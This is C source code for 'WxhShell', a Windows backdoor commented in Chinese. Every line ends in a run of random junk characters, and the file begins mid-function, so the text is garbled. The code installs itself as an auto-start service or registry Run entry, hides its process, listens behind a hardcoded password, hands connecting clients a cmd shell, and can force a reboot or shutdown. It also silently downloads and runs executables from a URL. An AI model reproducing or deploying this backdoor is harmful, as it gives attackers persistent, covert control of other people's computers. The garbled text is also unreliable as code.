  case 'd': { NU[Wj uLG  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >uE<-klv  
    if(Boot(SHUTDOWN)) eYPIZ{S7h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gz7,g Y  
    else { $BOpjDV8  
    closesocket(wsh); {<i(aq?  
    ExitThread(0); ""jl  
    } RI BB*  
    break; +:u &]  
    } t`1~5#?Du(  
  // 获取shell oOGFg3X  
  case 's': { FQcm =d_s  
    CmdShell(wsh); Z-aB[hE  
    closesocket(wsh); Q|f)Awe$  
    ExitThread(0); :kXxxS  
    break; #c-Jo[%G  
  } q\Z9.T+Qo  
  // 退出 %@%~<U)W  
  case 'x': { ;!EEzR.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ppO!v?  
    CloseIt(wsh); *k0;R[IAV  
    break; c32"$g  
    } A \Z_br  
  // 离开 G ahY+$L,  
  case 'q': { c43&[xP Lz  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); q4Y'yp`?K;  
    closesocket(wsh); ~:-V<r,pe  
    WSACleanup(); axv-U dE;  
    exit(1); "rw'mogRL  
    break; 7Q aZ|\c  
        } 1c`Yn:H^  
  } Ua+Us"M3}  
  } >8injW3 52  
 8vUq8[[  
  // 提示信息 Ljk0K3Q6>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GA.cp*2 ~  
} 5=;'LWXCJ  
  } 2F:X:f  
^k!u  
  return; Hlj3z3  
} M2nZ,I=l  
'A/ f>W  
// shell模块句柄 x^ sTGd  
int CmdShell(SOCKET sock) lsVg'k/Z!  
{ ~%sNPKjA  
STARTUPINFO si; ] .c$(.  
ZeroMemory(&si,sizeof(si)); qwo{34  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^0 /!:*?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1["IT.,f.  
PROCESS_INFORMATION ProcessInfo; 'he&h4fm  
char cmdline[]="cmd"; x!UGLL]_M  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?)4c!3#  
  return 0; ;(LC{jY  
} "=0JYh)%_  
ET|4a(x  
// 自身启动模式 S?Uvt?  
int StartFromService(void) JwUz4  
{ #F+b^WTR  
typedef struct $"Nqto~  
{ fJn4'Q*U  
  DWORD ExitStatus; KPa&P:R3  
  DWORD PebBaseAddress; wr2F]1bh@  
  DWORD AffinityMask; 5I5#LQv0  
  DWORD BasePriority; `e5f69"  
  ULONG UniqueProcessId; 6)9X+U@  
  ULONG InheritedFromUniqueProcessId; \X;)Kt"  
}   PROCESS_BASIC_INFORMATION; 1i 6>~  
=7zvp,B  
PROCNTQSIP NtQueryInformationProcess; _i0,?U2C  
s?&UFyYb,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <2PO3w?Z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C6:; T%  
1@Rl^ey  
  HANDLE             hProcess; =z2g}X  
  PROCESS_BASIC_INFORMATION pbi; ]ov"&,J  
RaB%N$.9s  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); n^rzl6dy  
  if(NULL == hInst ) return 0; $p.0[A(N  
S&~;l/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @|9V]bk  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7XiR)jYo*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Tc;j)_C)  
ffh3okyW0  
  if (!NtQueryInformationProcess) return 0; 2tdr1+U?g  
AO0aOX8_+D  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `wLMJ,@f.  
  if(!hProcess) return 0; WOf*1C  
MT.D#jv&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t8S,C4  
S d]`)  
  CloseHandle(hProcess); }U$p[Gi<  
(s!cd]Qa.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )}T0SGY  
if(hProcess==NULL) return 0; 19^B610  
*AI?md  
HMODULE hMod; yv.(Oy  
char procName[255]; QCvst*  
unsigned long cbNeeded; {i:Ayhq~&  
k0-,qM#p;X  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <>[]- Vq  
(1;%V>,L  
  CloseHandle(hProcess); 4CioVQdj  
)Jd{WC.  
if(strstr(procName,"services")) return 1; // 以服务启动 m#t  
{b26DKkQS  
  return 0; // 注册表启动 Kv6#WN~  
} +FtL_7[v  
PH]ui=  
// 主模块 ?1/wl;=fm  
int StartWxhshell(LPSTR lpCmdLine) PD@@4@^  
{ JJE0q5[  
  SOCKET wsl; REKv&^FLN  
BOOL val=TRUE; W$?Bsz)  
  int port=0; !$.h[z^  
  struct sockaddr_in door; n ,CMGe^:  
~(d#T|ez  
  if(wscfg.ws_autoins) Install(); >[TJ-%V>oR  
6R%N jEW:  
port=atoi(lpCmdLine); kG]FB.@bG  
o`ijdg!5qG  
if(port<=0) port=wscfg.ws_port; ? Eh)JJt  
V?+Y[Q  
  WSADATA data; Z)H9D(Za  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [}=/?(5  
 tvvRHvL  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t[?O*>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); u7ER  
  door.sin_family = AF_INET; /km'#f)/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $eUJd Aetk  
  door.sin_port = htons(port); **lT ' D  
YNWAef4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { EXTQ:HSES  
closesocket(wsl); O=w u0n  
return 1; wMru9zyI  
} +G<9|-  
dnUiNs8  
  if(listen(wsl,2) == INVALID_SOCKET) { A+1>n^^_<  
closesocket(wsl); :ODG]-QF  
return 1; {w|KWGk2  
} B3iU#   
  Wxhshell(wsl); 9W@ Tf  
  WSACleanup(); 5_ioJ   
vaUUesytt  
return 0; E7UYJ)6]  
Qg4g(0E@  
} @+ U++  
yW)X asn  
// 以NT服务方式启动 h"5!puN+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0'.7dzz  
{ YkbZ 2J*-  
DWORD   status = 0; (xhV>hsA  
  DWORD   specificError = 0xfffffff; dGBVkb4]T  
tcU4$%H/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Af_yb`W?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; q(cSHHv+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W-ll2b  
  serviceStatus.dwWin32ExitCode     = 0; #-Nc1+gu   
  serviceStatus.dwServiceSpecificExitCode = 0; >@NGX-gp  
  serviceStatus.dwCheckPoint       = 0; ![#>{Q4i  
  serviceStatus.dwWaitHint       = 0; Rt10:9Kz$  
nXnO]wXC  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); vx8-~Oq{|;  
  if (hServiceStatusHandle==0) return; .ITR3]$  
v22ZwP  
status = GetLastError(); p[lciWEW  
  if (status!=NO_ERROR) V57tn6 >b  
{ QUU'/e2^c  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; nI6[y)j  
    serviceStatus.dwCheckPoint       = 0; *ioVLt,:R  
    serviceStatus.dwWaitHint       = 0; j9Y'HU5"  
    serviceStatus.dwWin32ExitCode     = status; &DgJu.  
    serviceStatus.dwServiceSpecificExitCode = specificError; qC aM]Y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); SvD^'( x  
    return; t)/:VImY  
  } ^-i<TJ  
;+h-o  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; juc;]CHt'  
  serviceStatus.dwCheckPoint       = 0; geB]~/-p  
  serviceStatus.dwWaitHint       = 0; Ue22,Pp6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8f0Ytfhw  
} e+=P)Zp/  
^6U0n!nU  
// 处理NT服务事件,比如:启动、停止 M8wEy_XB1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) gr y]!4Hy  
{ '-[~I>o%  
switch(fdwControl) p&~= rp`E  
{ #XJ`/\E]  
case SERVICE_CONTROL_STOP: zU$S#4/C  
  serviceStatus.dwWin32ExitCode = 0; hB)TH'R{:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  M} {'kK  
  serviceStatus.dwCheckPoint   = 0; 3\jcq@N  
  serviceStatus.dwWaitHint     = 0; +P. }<  
  { ayvHS&h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8 k%!1dyMB  
  } g`BtG  
  return; &=d0'3k>  
case SERVICE_CONTROL_PAUSE: 1SYBq,[])  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9 L^:N)-  
  break;  + Y  
case SERVICE_CONTROL_CONTINUE: U F ]g6u  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; a9CK4Kg  
  break; P<<hg3@  
case SERVICE_CONTROL_INTERROGATE: NlnmeTLO5  
  break; Y uo  
}; atA:v3"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V!94I2%#x  
} <(U :v  
:UgCP ~Y  
// 标准应用程序主函数 2l9RU}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z7t-{s64  
{ 0=^A{V!m  
8={ " j  
// 获取操作系统版本 7CKh?>  
OsIsNt=GetOsVer(); m"CsJ'\ors  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4pfv?!Oj  
3\Ma)\>R\-  
  // 从命令行安装 Mmu>&C\  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7u9!:}Tu  
&CEZ+\bA  
  // 下载执行文件 "}jY;d#n  
if(wscfg.ws_downexe) { 17nONhh  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a8Q=_4 l  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,ruL7|T&  
} Bco_\cpt]z  
 %wYGI  
if(!OsIsNt) { .s)z?31  
// 如果时win9x,隐藏进程并且设置为注册表启动 5#SD$^  
HideProc(); I2$.o0=3Y  
StartWxhshell(lpCmdLine); ~J Xqyw}  
} p+F{iMC  
else yA/b7x-c  
  if(StartFromService()) ,,-g*[/3  
  // 以服务方式启动 'kz[Gh*8  
  StartServiceCtrlDispatcher(DispatchTable); rg^  
else B.-1wZl  
  // 普通方式启动 dfmxz7V  
  StartWxhshell(lpCmdLine); -8]M ,,?  
ZKv^q%92  
return 0; )+nY-DB(  
} \!["U`\.K  
G/*0*&fW  
^Cs5A0xo#s  
c9 UJ=  
=========================================== A $9^JF0$  
c8'! >#$  
}LaRa.3  
D6KYkN(,v  
Gg3cY{7  
*0 0K3  
" ?1z." &  
I<'wZJRRa  
#include <stdio.h> Y GZX}-  
#include <string.h> `6.rTs $<  
#include <windows.h> Wy2 pa #Q  
#include <winsock2.h> $]G_^ji)K  
#include <winsvc.h> JY|f zL  
#include <urlmon.h> _;Q1P gT  
3\xvy{r  
#pragma comment (lib, "Ws2_32.lib") q DQ$Zq[  
#pragma comment (lib, "urlmon.lib") R0n# FL^E  
WzC_M>_  
#define MAX_USER   100 // 最大客户端连接数 0pSqk/  
#define BUF_SOCK   200 // sock buffer |G5Me  
#define KEY_BUFF   255 // 输入 buffer %b H1We  
m&H@f:  
#define REBOOT     0   // 重启 #sOkD  
#define SHUTDOWN   1   // 关机 Kug_0+gI  
U/e$.K3v  
#define DEF_PORT   5000 // 监听端口 "1P>,\Sjg  
]0VjVU-  
#define REG_LEN     16   // 注册表键长度 ?~;8Y=O  
#define SVC_LEN     80   // NT服务名长度 XL/?v" /  
`(r [BV|h}  
// 从dll定义API gsqpQq7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); yJ(p-3O5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c teUKK.|)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); uHv9D%R  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d{UyiZm\  
.."=  
// wxhshell配置信息 D=w5Lks  
struct WSCFG { RN0@Q~oTI  
  int ws_port;         // 监听端口 @c<*l+Qc  
  char ws_passstr[REG_LEN]; // 口令 BnLM;5 >  
  int ws_autoins;       // 安装标记, 1=yes 0=no ? (&)p~o  
  char ws_regname[REG_LEN]; // 注册表键名 VPB,8zb ]  
  char ws_svcname[REG_LEN]; // 服务名 bN6FhKg|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 F9sVMV  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +[MzF EE[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 R).?lnS  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Jv*(DFt!v  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?]`kc  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 GgoPwl#{  
a)+;<GZ~  
}; ] Fx9!S  
r*|#*"K"a  
// default Wxhshell configuration f_*Bd.@  
struct WSCFG wscfg={DEF_PORT, 1N#KVvK  
    "xuhuanlingzhe", eB`7C"Z  
    1, K[%)_KW  
    "Wxhshell", akuV9S  
    "Wxhshell", M(l>^N8W8  
            "WxhShell Service", >Cb[  
    "Wrsky Windows CmdShell Service", Vf67gux  
    "Please Input Your Password: ", 4,o|6H  
  1, $"d< F3k  
  "http://www.wrsky.com/wxhshell.exe", YxEc(a"  
  "Wxhshell.exe" LRqBP|bjCD  
    }; U2=PmS P  
t;7 tuq   
// 消息定义模块 v-;j44sB  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; p#VA-RSUQ|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; N|n"JKw)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,4bqjkX5q  
char *msg_ws_ext="\n\rExit."; 9oly=&lJ  
char *msg_ws_end="\n\rQuit."; <q V<dK&W  
char *msg_ws_boot="\n\rReboot..."; 28KS*5S  
char *msg_ws_poff="\n\rShutdown...";  a=<l}`*  
char *msg_ws_down="\n\rSave to "; 3d qj:4[f  
5 ",@!1ju  
char *msg_ws_err="\n\rErr!"; 8Bvc# +B  
char *msg_ws_ok="\n\rOK!"; Jww LAQ5  
!TJCQ[Aa }  
char ExeFile[MAX_PATH]; v !~lVv&  
int nUser = 0; oUMY?[Wp  
HANDLE handles[MAX_USER]; O@@=ZyYwc  
int OsIsNt; GA, 6G [E  
wf4?{H  
SERVICE_STATUS       serviceStatus; prf  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; R<}n?f\#JZ  
}B{bM<dF  
// 函数声明 K&zp2V  
int Install(void); "~y@rqIba  
int Uninstall(void); qNI2+<u)j  
int DownloadFile(char *sURL, SOCKET wsh); ('qu#.'  
int Boot(int flag); (Kl96G<Wej  
void HideProc(void); <r_L-  
int GetOsVer(void); yF &"'L  
int Wxhshell(SOCKET wsl); Nr\[|||%  
void TalkWithClient(void *cs); m{(G%n>E&  
int CmdShell(SOCKET sock); 'lPt.*Y<u  
int StartFromService(void); vf=b5s(7Q  
int StartWxhshell(LPSTR lpCmdLine); <IWO:7*#  
Ax*=kZmH|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -!OFt}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); teO%w9ByY  
N? r{Y$x  
// 数据结构和表定义 `uz15])1<  
SERVICE_TABLE_ENTRY DispatchTable[] = $9pFRQC'q  
{ KTV~g@Jf  
{wscfg.ws_svcname, NTServiceMain}, Sm6hyZFy  
{NULL, NULL} 1wX0x.4d  
}; R;2tb7o  
}%K)R 5C  
// 自我安装 H 1`}3}"  
int Install(void) ')k n  
{ ;A ~efC^<  
  char svExeFile[MAX_PATH]; ^l}Esz`-M  
  HKEY key; O s*B%,}  
  strcpy(svExeFile,ExeFile); h rL_. 4  
8lAs~c  
// 如果是win9x系统,修改注册表设为自启动 gOkq>i_  
if(!OsIsNt) { jmgU'w-s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NwH`t#zd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s8,{8k  
  RegCloseKey(key); YGRv``(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D^+#RR'#,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 86bl'FdKS  
  RegCloseKey(key); 0^l|W|.Z  
  return 0; L*TPLS[lh  
    } xz1jRI$  
  } ][ri A  
} zKycd*X  
else { 's.%rre%  
UZ8 vZ  
// 如果是NT以上系统,安装为系统服务 8!a6)Zeux  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); pBW|d\8  
if (schSCManager!=0) .VFa,&5;3  
{ 9>y6zFTV  
  SC_HANDLE schService = CreateService ?&Zfb  
  ( 9C?;'  
  schSCManager, ZeVb< g  
  wscfg.ws_svcname, II !Nr{A  
  wscfg.ws_svcdisp, >j [> 0D  
  SERVICE_ALL_ACCESS, 5,3Yt~\m  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ij+ E/V  
  SERVICE_AUTO_START, q9GSUkb  
  SERVICE_ERROR_NORMAL, Rj&V~or  
  svExeFile, g. V6:>,  
  NULL, )sWC5\  
  NULL, FyZp,uD  
  NULL, mTG v*=l  
  NULL, 7M~w05tPh  
  NULL +}IOTw" O`  
  ); ( Z-~Eh  
  if (schService!=0) 5r;M61  
  { a<-'4D/  
  CloseServiceHandle(schService); rFY% fo  
  CloseServiceHandle(schSCManager); oLJP@J  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $O}:*.{(W  
  strcat(svExeFile,wscfg.ws_svcname); +b<q4W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;t'~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3B }Oy$p  
  RegCloseKey(key); ,uEi*s>  
  return 0; Q fI =  
    } |Qq_;x]  
  } ,j{$SuZ M  
  CloseServiceHandle(schSCManager); i3T]<&+j5  
} dW3q  
} < * )u\A  
F8(6P1}E  
return 1; giU6f!%  
} _x<CTFTL  
Vz$X0C=W;H  
// 自我卸载 [cSoo+Mlx  
int Uninstall(void) Vx1xULdY  
{ KMsm2~P  
  HKEY key; hhu !'(j  
Isa]5>  
if(!OsIsNt) { :Oz! M&Ov  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -rYOx9P4  
  RegDeleteValue(key,wscfg.ws_regname); P4vW.|@  
  RegCloseKey(key); [[{y?-U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H-gq0+,yE  
  RegDeleteValue(key,wscfg.ws_regname); JFw<Po,MEa  
  RegCloseKey(key); S|U/m m  
  return 0; bL`O k  
  } t/? x#X  
} ]AlRu(  
} 7r=BGoA2E  
else { >_ji`/ d{  
+" 4E:9P?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); GT|=Kx$;  
if (schSCManager!=0) f_}FYeg  
{ 9p ;)s  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); S^}@X?v  
  if (schService!=0) $<jI<vD+:  
  { @+LZSd+I  
  if(DeleteService(schService)!=0) { k@qn' Zi  
  CloseServiceHandle(schService); L&td4`2y  
  CloseServiceHandle(schSCManager); ]|cL+|':y  
  return 0; !(=bH"P  
  } b[<Q_7~2  
  CloseServiceHandle(schService); j(Tt-a("z  
  } pVTx# rY  
  CloseServiceHandle(schSCManager); ;\yVwur  
} $i@~$m7d-  
} 4zyy   
2" (vjnfH  
return 1; /6_>d $  
} F?]nPb|  
ejYJOTT{^  
// 从指定url下载文件 ADoxma@  
int DownloadFile(char *sURL, SOCKET wsh) oi4tj.!J  
{ HbWl:yU  
  HRESULT hr; D{~mJDUzK  
char seps[]= "/"; 9o7E/wP  
char *token; B|#*I[4`w@  
char *file; Hd(|fc{2  
char myURL[MAX_PATH]; MqXN,n+`k  
char myFILE[MAX_PATH]; SooSOOAx[  
D4?qw$"  
strcpy(myURL,sURL); m09 Bds  
  token=strtok(myURL,seps); {b4+ Yc  
  while(token!=NULL) (dO, +~  
  { Rg! [ic !  
    file=token; g`)2I+L7  
  token=strtok(NULL,seps); 0w?\KHT  
  } 9N^&~O|1  
zItf>j7|Z  
GetCurrentDirectory(MAX_PATH,myFILE); !2oe;q2X[G  
strcat(myFILE, "\\"); SdF*"]t  
strcat(myFILE, file); so h3 d  
  send(wsh,myFILE,strlen(myFILE),0); E7E>w#T5  
send(wsh,"...",3,0); Jt6~L5[_s  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); X5kIM\  
  if(hr==S_OK) ;5tSXgGw7  
return 0; D@T>z;  
else AtNu:U$  
return 1; oWGtKtDhH  
J[fjl 6p  
} FilHpnQCt  
W.h6g8|wx  
// 系统电源模块 !$ikH,Bh  
int Boot(int flag) NNC@?A7  
{ PE1F3u>O  
  HANDLE hToken; hz8Y2Ew  
  TOKEN_PRIVILEGES tkp; >/;V_(  
n m4+$GW   
  if(OsIsNt) { F-%wOn /  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); z38&7+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); eaQ)r?M  
    tkp.PrivilegeCount = 1; < \]o#w*:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `A O_e4D0i  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :Mr_/t2(  
if(flag==REBOOT) { xk=5q|u_-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) r=[T5,L(s  
  return 0; e2|2$|  
} f1F#U @U  
else { $5aRu,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) T 'pX)ZH  
  return 0; Kx.I'_Qk  
} =\Td~>  
  } =s"_! 7  
  else { 6Zwrk-,A  
if(flag==REBOOT) { xcfEL_'o  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l0Wp%T  
  return 0; "#x<>a )O\  
} WXP=U^5Si  
else { ;RNU`I p  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) F"xD^<i  
  return 0; =}5;rK  
} YUdCrb9F  
} 8:c[_3w  
_+%RbJ~H  
return 1; "\bbe@  
} *"#62U6  
FCxLL"))  
// win9x进程隐藏模块 9:N@+;|T  
void HideProc(void) F)KUup)gc  
{ 9u";%5 4  
dM"Suw  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Iy8>9m'5  
  if ( hKernel != NULL ) D}59fWz@  
  { U-(2;F)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); o*H j E  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); VH1PC  
    FreeLibrary(hKernel); Eh\0gQ=  
  } e,/b&j*4th  
_gZ8UZ)  
return; ?2l#=t?PP  
} [xiZkV([  
0,*clvH\;  
// 获取操作系统版本 86!"b  
int GetOsVer(void) Z3E957}  
{ T4n.C~  
  OSVERSIONINFO winfo; NBzyP)2)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~`M>&E@Y_/  
  GetVersionEx(&winfo); |UvM [A|+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /Y:1zLs%  
  return 1; 6#P\DT  
  else jH26-b<  
  return 0; ,Oojh;P_  
} &kh7|:{j  
p#HbN#^Hy  
// 客户端句柄模块 "/6<k0.D&  
int Wxhshell(SOCKET wsl) z,/0e@B >  
{ 9{bG @g  
  SOCKET wsh; p@`rBzGp  
  struct sockaddr_in client; w8E6)wF=7  
  DWORD myID; e _\]Q-  
&U\Xy+  
  while(nUser<MAX_USER) !l!^`c  
{ /HR9(j6  
  int nSize=sizeof(client); 't".~H_V  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {B$cd?}  
  if(wsh==INVALID_SOCKET) return 1; gAt[kW< n  
gIv :<EJ9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [v$_BS#u^3  
if(handles[nUser]==0) Am=D kkP%  
  closesocket(wsh);  hM   
else O8#}2  
  nUser++; ZC+F*:$  
  } g7!P|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1{\{'EP{  
V*P3C5 l  
  return 0; c$aTl9e  
} (3YqM7cqt  
F#S^Q`  
// 关闭 socket ud xLHs  
void CloseIt(SOCKET wsh) J{8_4s!Xt>  
{ ]Cd 1&  
closesocket(wsh); u,<I%  
nUser--; {6Tw+/`P  
ExitThread(0); X51pRP $R  
} 7MIu-x|  
!%b.k6%>w  
// 客户端请求句柄 Yjxa=CD  
void TalkWithClient(void *cs)  R~u0!  
{ DArEIt6Q  
[OJ@{{U%  
  SOCKET wsh=(SOCKET)cs;  e;8>/G  
  char pwd[SVC_LEN]; ;EstUs3  
  char cmd[KEY_BUFF]; 4Fhiac  
char chr[1]; >xu}eWSz  
int i,j;  `=b)fE  
0JTDJZOz@#  
  while (nUser < MAX_USER) { "(j.:jayd  
<]I[|4J 7  
if(wscfg.ws_passstr) { -Si'[5@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U1(<1eTyu  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \.p{~ Hv  
  //ZeroMemory(pwd,KEY_BUFF); | ZBv;BW  
      i=0; V#jFjObTN  
  while(i<SVC_LEN) { {'dpRq{c|  
|aef$f5  
  // 设置超时 P1DYjm[+D  
  fd_set FdRead; Ro :/J  
  struct timeval TimeOut; CpHF3o`Z6  
  FD_ZERO(&FdRead); dA-ik  
  FD_SET(wsh,&FdRead); <V)T_  
  TimeOut.tv_sec=8; R?3^Kx  
  TimeOut.tv_usec=0; ^SnGcr|a'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0] e=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3XY;g{`=q  
n,sl|hv2U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )qs>Z?7  
  pwd=chr[0]; X~XpX7d!  
  if(chr[0]==0xd || chr[0]==0xa) { Wj2]1A  
  pwd=0; Z\8TpwD2  
  break; -E~pCN(E  
  } a>A29*q  
  i++; F-Mf~+=Dn  
    } m}w~ d /  
HrQBzS  
  // 如果是非法用户,关闭 socket \YO1;\W  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zR:Mg\  
} hEAt4z0P  
[su2kOX|X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); kSGFLP1FN  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }{;m:Iia_  
J =o,: 3"  
while(1) { N'_,VB  
lot7SXvK  
  ZeroMemory(cmd,KEY_BUFF); m=i8o `  
E>~DlL%  
      // 自动支持客户端 telnet标准   [FLRrTcE  
  j=0; NN1d?cOn  
  while(j<KEY_BUFF) { l1}=>V1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i6wLM-.)  
  cmd[j]=chr[0]; 68 d\s 4  
  if(chr[0]==0xa || chr[0]==0xd) { cA%70Y:AV  
  cmd[j]=0; "R@N}q<*v2  
  break; #W[/N|~wx  
  } cE[B (e  
  j++; 3~H_UGw  
    } vum6O 3  
88 ~BE ^  
  // 下载文件 Z 4NNrA#  
  if(strstr(cmd,"http://")) { HV'xDy[)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); JSX-iHhW  
  if(DownloadFile(cmd,wsh)) t4)~A5s  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); vk\a>};  
  else hnha1 f  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7z!|sPW](b  
